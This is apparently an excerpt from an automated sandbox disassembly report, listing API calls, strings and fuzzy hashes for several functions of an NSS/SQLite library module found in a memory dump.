SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CF98FE0,00000000), ref: 6CE76E82

Part of subcall function 6CE76AF0: SECITEM_ArenaDupItem_Util.NSS3(00000000,6CE7B21D,00000000,00000000,6CE7B219,?,6CE76BFB,00000000,?,00000000,00000000,?,?,?,6CE7B21D), ref: 6CE76B01
Part of subcall function 6CE76AF0: SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,00000000), ref: 6CE76B8A

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6CE76F1E
PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6CE76F35
SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CF98FE0,00000000), ref: 6CE76F6B
PR_SetError.NSS3(FFFFE005,00000000,6CE77D8F,?,?), ref: 6CE76FE1

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_$DecodeQuick$AllocateErrorValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 587344769-0
Opcode ID: 72a2ac55da39822bbfc229bea140d00cfd16bb73372324ddd4ce8808fbd29e94
Instruction ID: e5a7cdf835c8bad5d1bb76acd6013180f99a82596cbfc572c6c7b1064162c2dd
Opcode Fuzzy Hash: 72a2ac55da39822bbfc229bea140d00cfd16bb73372324ddd4ce8808fbd29e94
Instruction Fuzzy Hash: 73719E71E106469BEB14CF55CD41AAA7BB8FF9430CF254229E818D7B11E730EA94CBA0

Function 6CEB0FE0 Relevance: 15.2, APIs: 10, Instructions: 192memorystringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CEB1057
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CEB1085
PK11_GetAllTokens.NSS3 ref: 6CEB10B1
free.MOZGLUE(?), ref: 6CEB1107
PR_SetError.NSS3(00000000,00000000), ref: 6CEB1172
free.MOZGLUE(?), ref: 6CEB1182
free.MOZGLUE(?), ref: 6CEB11A6
SECITEM_ItemsAreEqual_Util.NSS3(?,?), ref: 6CEB11C5

Part of subcall function 6CEB52C0: TlsGetValue.KERNEL32(?,00000001,00000002,?,?,?,?,?,?,?,?,?,?,6CE8EAC5,00000001), ref: 6CEB52DF
Part of subcall function 6CEB52C0: EnterCriticalSection.KERNEL32(?), ref: 6CEB52F3
Part of subcall function 6CEB52C0: PR_Unlock.NSS3(?), ref: 6CEB5358

PORT_ZAlloc_Util.NSS3(0000000C), ref: 6CEB11D3
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6CEB11F3

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: Utilfree$Alloc_Error$CriticalEnterEqual_ItemsK11_SectionTokensUnlockValuestrlen
String ID:
API String ID: 1549229083-0
Opcode ID: a8ddfce76be37d7344be612f9e644c07b4f2f7c89eed1252a4f5802061767cc2
Instruction ID: 5bf5357a5eabda7ebd60d8e98de1e80494fbd1afb90a54b1e73877a97b36c063
Opcode Fuzzy Hash: a8ddfce76be37d7344be612f9e644c07b4f2f7c89eed1252a4f5802061767cc2
Instruction Fuzzy Hash: 4C61B2B1E013459FEB00DFA4D981BAEB7B4AF04358F244128ED19BB741EB71E945CBA1

Function 6CEBADC0 Relevance: 15.1, APIs: 10, Instructions: 148COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,6CE9CDBB,?,6CE9D079,00000000,00000001), ref: 6CEBAE10
EnterCriticalSection.KERNEL32(?,?,6CE9CDBB,?,6CE9D079,00000000,00000001), ref: 6CEBAE24
PR_Unlock.NSS3(?,?,?,?,?,?,6CE9D079,00000000,00000001), ref: 6CEBAE5A
memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6CE9CDBB,?,6CE9D079,00000000,00000001), ref: 6CEBAE6F
free.MOZGLUE(85145F8B,?,?,?,?,6CE9CDBB,?,6CE9D079,00000000,00000001), ref: 6CEBAE7F
TlsGetValue.KERNEL32(?,6CE9CDBB,?,6CE9D079,00000000,00000001), ref: 6CEBAEB1
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6CE9CDBB,?,6CE9D079,00000000,00000001), ref: 6CEBAEC9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6CE9CDBB,?,6CE9D079,00000000,00000001), ref: 6CEBAEF1
free.MOZGLUE(6CE9CDBB,?,?,?,?,?,?,?,?,?,?,?,?,?,6CE9CDBB,?), ref: 6CEBAF0B
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6CE9CDBB,?,6CE9D079,00000000,00000001), ref: 6CEBAF30

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValuefree$memset
String ID:
API String ID: 161582014-0
Opcode ID: 6374bf33b8dc75e88294aa0e34a1b0fef56a7aca13d44624b582e72c0a9a0a7e
Instruction ID: 7d97253dac0529d2e9a465e4ad2b5741d3b5087e27ac1fb110522250cf250ebe
Opcode Fuzzy Hash: 6374bf33b8dc75e88294aa0e34a1b0fef56a7aca13d44624b582e72c0a9a0a7e
Instruction Fuzzy Hash: E7519CB5A40602AFDF41DF29D985B66B7B4BF05318F244268E808A7F11E731F9A4CBD1

Function 6CE94CA0 Relevance: 15.1, APIs: 10, Instructions: 142COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,?,6CE9AB7F,?,00000000,?), ref: 6CE94CB4
EnterCriticalSection.KERNEL32(0000001C,?,6CE9AB7F,?,00000000,?), ref: 6CE94CC8
TlsGetValue.KERNEL32(?,6CE9AB7F,?,00000000,?), ref: 6CE94CE0
EnterCriticalSection.KERNEL32(?,?,6CE9AB7F,?,00000000,?), ref: 6CE94CF4
PL_HashTableLookup.NSS3(?,?,?,6CE9AB7F,?,00000000,?), ref: 6CE94D03
PR_Unlock.NSS3(?,00000000,?), ref: 6CE94D10

Part of subcall function 6CF1DD70: TlsGetValue.KERNEL32 ref: 6CF1DD8C
Part of subcall function 6CF1DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CF1DDB4

PR_Now.NSS3(?,00000000,?), ref: 6CE94D26

Part of subcall function 6CF39DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CF80A27), ref: 6CF39DC6
Part of subcall function 6CF39DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CF80A27), ref: 6CF39DD1
Part of subcall function 6CF39DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CF39DED

PR_Unlock.NSS3(?,?,00000000,?), ref: 6CE94D98
PR_Unlock.NSS3(?,?,?,00000000,?), ref: 6CE94DDA
PR_Unlock.NSS3(?,?,?,?,00000000,?), ref: 6CE94E02

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: Unlock$CriticalSectionTimeValue$EnterSystem$FileHashLeaveLookupTableUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 4032354334-0
Opcode ID: f9df5bc36444632d0072a72943f0fe4c13d9ee6840f4dcdcdd85e73e08c8d5b7
Instruction ID: 23bb0010e8b5f7efb018856326fe82c62ac5f2d5aea0d3c4797b009e66b8db41
Opcode Fuzzy Hash: f9df5bc36444632d0072a72943f0fe4c13d9ee6840f4dcdcdd85e73e08c8d5b7
Instruction Fuzzy Hash: 7A41A6BAE102059BEB019F68EC44A6677B8AF0621CF254175EC1987B21EB31E954C7E1

Function 6CE7BFF0 Relevance: 15.1, APIs: 10, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CE7BFFB

Part of subcall function 6CED0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE787ED,00000800,6CE6EF74,00000000), ref: 6CED1000
Part of subcall function 6CED0FF0: PR_NewLock.NSS3(?,00000800,6CE6EF74,00000000), ref: 6CED1016
Part of subcall function 6CED0FF0: PL_InitArenaPool.NSS3(00000000,security,6CE787ED,00000008,?,00000800,6CE6EF74,00000000), ref: 6CED102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000018C), ref: 6CE7C015

Part of subcall function 6CED10C0: TlsGetValue.KERNEL32(?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED10F3
Part of subcall function 6CED10C0: EnterCriticalSection.KERNEL32(?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED110C
Part of subcall function 6CED10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED1141
Part of subcall function 6CED10C0: PR_Unlock.NSS3(?,?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED1182
Part of subcall function 6CED10C0: TlsGetValue.KERNEL32(?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED119C

memset.VCRUNTIME140(-00000004,00000000,00000188), ref: 6CE7C032
DER_SetUInteger.NSS3(00000000,00000078,00000000), ref: 6CE7C04D

Part of subcall function 6CEC69E0: PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CEC6A47
Part of subcall function 6CEC69E0: memcpy.VCRUNTIME140(00000000,-00000005,00000001), ref: 6CEC6A64

DER_SetUInteger.NSS3(00000000,00000084,?), ref: 6CE7C064
CERT_CopyName.NSS3(00000000,000000A8,?), ref: 6CE7C07B

Part of subcall function 6CE78980: PORT_FreeArena_Util.NSS3(00000000,00000000,00000000,?,00000028,?,?,6CE77310), ref: 6CE789B8
Part of subcall function 6CE78980: PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000000,?,00000028,?,?,6CE77310), ref: 6CE789E6
Part of subcall function 6CE78980: PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000004,?), ref: 6CE78A00
Part of subcall function 6CE78980: CERT_CopyRDN.NSS3(00000004,00000000,6CE77310,?,?,00000004,?), ref: 6CE78A1B
Part of subcall function 6CE78980: PORT_ArenaGrow_Util.NSS3(00000004,00000000,?,?,?,?,?,?,?,00000004,?), ref: 6CE78A74

Part of subcall function 6CE71D10: PORT_FreeArena_Util.NSS3(000000B0,00000000,00000000,00000000,00000000,?,6CE7C097,00000000,000000B0,?), ref: 6CE71D2C
Part of subcall function 6CE71D10: SECITEM_CopyItem_Util.NSS3(000000B0,00000004,6CE7C09B,00000000,00000000,00000000,?,6CE7C097,00000000,000000B0,?), ref: 6CE71D3F
Part of subcall function 6CE71D10: SECITEM_CopyItem_Util.NSS3(000000B0,-00000010,6CE7C087,00000000,000000B0,?), ref: 6CE71D54

CERT_CopyName.NSS3(00000000,000000CC,?), ref: 6CE7C0AD
SECKEY_CopySubjectPublicKeyInfo.NSS3(00000000,-000000D4,?), ref: 6CE7C0C9

Part of subcall function 6CE82DD0: SECOID_CopyAlgorithmID_Util.NSS3(-000000D4,-00000004,6CE7C0D2,6CE7C0CE,00000000,-000000D4,?), ref: 6CE82DF5
Part of subcall function 6CE82DD0: SECITEM_CopyItem_Util.NSS3(-000000D4,-0000001C,?,?,?,?,6CE7C0CE,00000000,-000000D4,?), ref: 6CE82E27

CERT_DestroyCertificate.NSS3(00000000), ref: 6CE7C0D6
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE7C0E3

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: Util$Copy$Arena$Alloc_Arena_$FreeItem_$IntegerNameValue$AlgorithmAllocateCertificateCriticalDestroyEnterGrow_InfoInitLockPoolPublicSectionSubjectUnlockcallocmemcpymemset
String ID:
API String ID: 3955726912-0
Opcode ID: a0e100b580992dc40121ac9e8a0f33dfbfe694752f39d7853d339443a5b37f32
Instruction ID: 3f41617c9affc7fcf3c2056c2660aaec348ec9a135c45da8512cf30fe5cf9d57
Opcode Fuzzy Hash: a0e100b580992dc40121ac9e8a0f33dfbfe694752f39d7853d339443a5b37f32
Instruction Fuzzy Hash: 492195A274010527FB206A61AD85FFB36BC9B5175CF284138FD08D9746FB26D519C2B2

Function 6CE72E00 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6CE72CDA,?,00000000), ref: 6CE72E1E

Part of subcall function 6CECFD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6CE79003,?), ref: 6CECFD91
Part of subcall function 6CECFD80: PORT_Alloc_Util.NSS3(A4686CED,?), ref: 6CECFDA2
Part of subcall function 6CECFD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686CED,?,?), ref: 6CECFDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6CE72E33

Part of subcall function 6CECFD80: free.MOZGLUE(00000000,?,?), ref: 6CECFDD1

TlsGetValue.KERNEL32 ref: 6CE72E4E
EnterCriticalSection.KERNEL32(?), ref: 6CE72E5E
PL_HashTableLookup.NSS3(?), ref: 6CE72E71
PL_HashTableRemove.NSS3(?), ref: 6CE72E84
PL_HashTableAdd.NSS3(?,00000000), ref: 6CE72E96
PR_Unlock.NSS3 ref: 6CE72EA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CE72EB6
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE72EC5

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: Util$HashItem_Table$Alloc_$CriticalEnterErrorLookupRemoveSectionUnlockValueZfreefreememcpy
String ID:
API String ID: 3332421221-0
Opcode ID: ed9616a29294fa0ebc5d0a749eeea301a8e165bf787a7a24cd682b23d799efef
Instruction ID: 76171e36739b7eb4b4c1b09215e50d27acb0d3e2c22c41ad4fa50b6ffd1cc6e1
Opcode Fuzzy Hash: ed9616a29294fa0ebc5d0a749eeea301a8e165bf787a7a24cd682b23d799efef
Instruction Fuzzy Hash: 5721F572E54100A7EF111B35AC0DB9B3A78EB5235DF240134ED1882B11F733EA59D6E1

Function 6CE5FC50 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 233COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6CE5FD18
sqlite3_initialize.NSS3 ref: 6CE5FD5F
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CE5FD89
memcpy.VCRUNTIME140(00000000,00000000,?), ref: 6CE5FD99
sqlite3_free.NSS3(00000000), ref: 6CE5FE3C
sqlite3_free.NSS3(?), ref: 6CE5FEE3
sqlite3_free.NSS3(?), ref: 6CE5FEEE

Strings

simple, xrefs: 6CE5FC79

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: sqlite3_free$sqlite3_initialize$memcpymemset
String ID: simple
API String ID: 1130978851-3246079234
Opcode ID: c38a572313401e50d4e253954e7017172cd194bc1252e5905b6e21fb88e3e17b
Instruction ID: 1a388155ba61e83edd47996262f49574563bf4129f0b8aa35516e765270a6c36
Opcode Fuzzy Hash: c38a572313401e50d4e253954e7017172cd194bc1252e5905b6e21fb88e3e17b
Instruction Fuzzy Hash: 489172B0B012058FDB04CF55C880B6AB7B1FF85318F75C569D9199BB52EB3AE861CB90

Function 6CE65CE0 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 229COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CE65EC9
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,000296F7,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CE65EED

Strings

%s at line %d of [%.10s], xrefs: 6CE65EE0
API call with %s database connection pointer, xrefs: 6CE65EC3
unable to close due to unfinalized statements or unfinished backups, xrefs: 6CE65E64
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CE65ED1
invalid, xrefs: 6CE65EBE
misuse, xrefs: 6CE65EDB

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse$unable to close due to unfinalized statements or unfinished backups
API String ID: 632333372-1982981357
Opcode ID: 64ec4fc07c7b1eb823c3f6bef0a404676f37c55066f279b2ca61ca56b45f7e1c
Instruction ID: e3f174517d708be7e5f9682de994136169ca2dcfae3c2d0897d35bf10fea9314
Opcode Fuzzy Hash: 64ec4fc07c7b1eb823c3f6bef0a404676f37c55066f279b2ca61ca56b45f7e1c
Instruction Fuzzy Hash: 1581A130B976119BEB198F66C848BAA7771BF4230CF384269D8155BF92D731E842CBD1

Function 6CE4DCC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 225COMMON

Download Yara Rule

APIs

_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CE4DDF9
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00012806,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CE4DE68
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001280D,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CE4DE97
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6CE4DEB6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CE4DF78

Strings

database corruption, xrefs: 6CE4DE5C, 6CE4DE8B
%s at line %d of [%.10s], xrefs: 6CE4DE61, 6CE4DE90
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CE4DE52, 6CE4DE81

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1526119172-598938438
Opcode ID: f251a8ae2cdd828b8b7e8d447445c1b6a33bfea298069e80fd9365ab2666da46
Instruction ID: 5dabc050966c98d77f16d166df2c480432c6db48e6b4099ebb001272900ef0b9
Opcode Fuzzy Hash: f251a8ae2cdd828b8b7e8d447445c1b6a33bfea298069e80fd9365ab2666da46
Instruction Fuzzy Hash: F881C2797043009FD714CF25D880B6A77F1AF45308F25C96DE89A8BB91E731EA46C792

Function 6CDFCEC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 199COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A7E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6CDFB999), ref: 6CDFCFF3
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000109DA,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6CDFB999), ref: 6CDFD02B
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A70,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,00000000,?,?,6CDFB999), ref: 6CDFD041
_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,6CDFB999), ref: 6CF4972B

Strings

database corruption, xrefs: 6CDFCFE7, 6CDFD013, 6CDFD028, 6CDFD039, 6CDFD03E, 6CF49786
%s at line %d of [%.10s], xrefs: 6CDFCFEC, 6CDFD018, 6CDFD029, 6CDFD03F, 6CF4978B
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CDFCFDD, 6CDFD00E, 6CDFD022, 6CDFD033, 6CF49780

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: sqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 491875419-598938438
Opcode ID: 575c2c830ece78f67014ec456d3c44293272428fe6efab97c65e5e2d484a94ff
Instruction ID: 757b1bbc9ad0283f5e420a37f60e2f231d7197bb4961ac34fb41318ca01e0692
Opcode Fuzzy Hash: 575c2c830ece78f67014ec456d3c44293272428fe6efab97c65e5e2d484a94ff
Instruction Fuzzy Hash: 9B612671A042109BD310CF29C840BA6BBF5FF95318F2985ADE4499FB82D376E947C7A1

Function 6CEFFFF0 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 192memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6CF05B40: PR_GetIdentitiesLayer.NSS3 ref: 6CF05B56

PK11_FreeSymKey.NSS3(00000000), ref: 6CF00113
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CF00130
PORT_Alloc_Util.NSS3(00000040), ref: 6CF0015D
memcpy.VCRUNTIME140(-00000042,?,?), ref: 6CF001AF
PR_SetError.NSS3(FFFFD056,00000000), ref: 6CF00202
free.MOZGLUE(?), ref: 6CF00224
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CF00253

Strings

exporter, xrefs: 6CF000F7

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
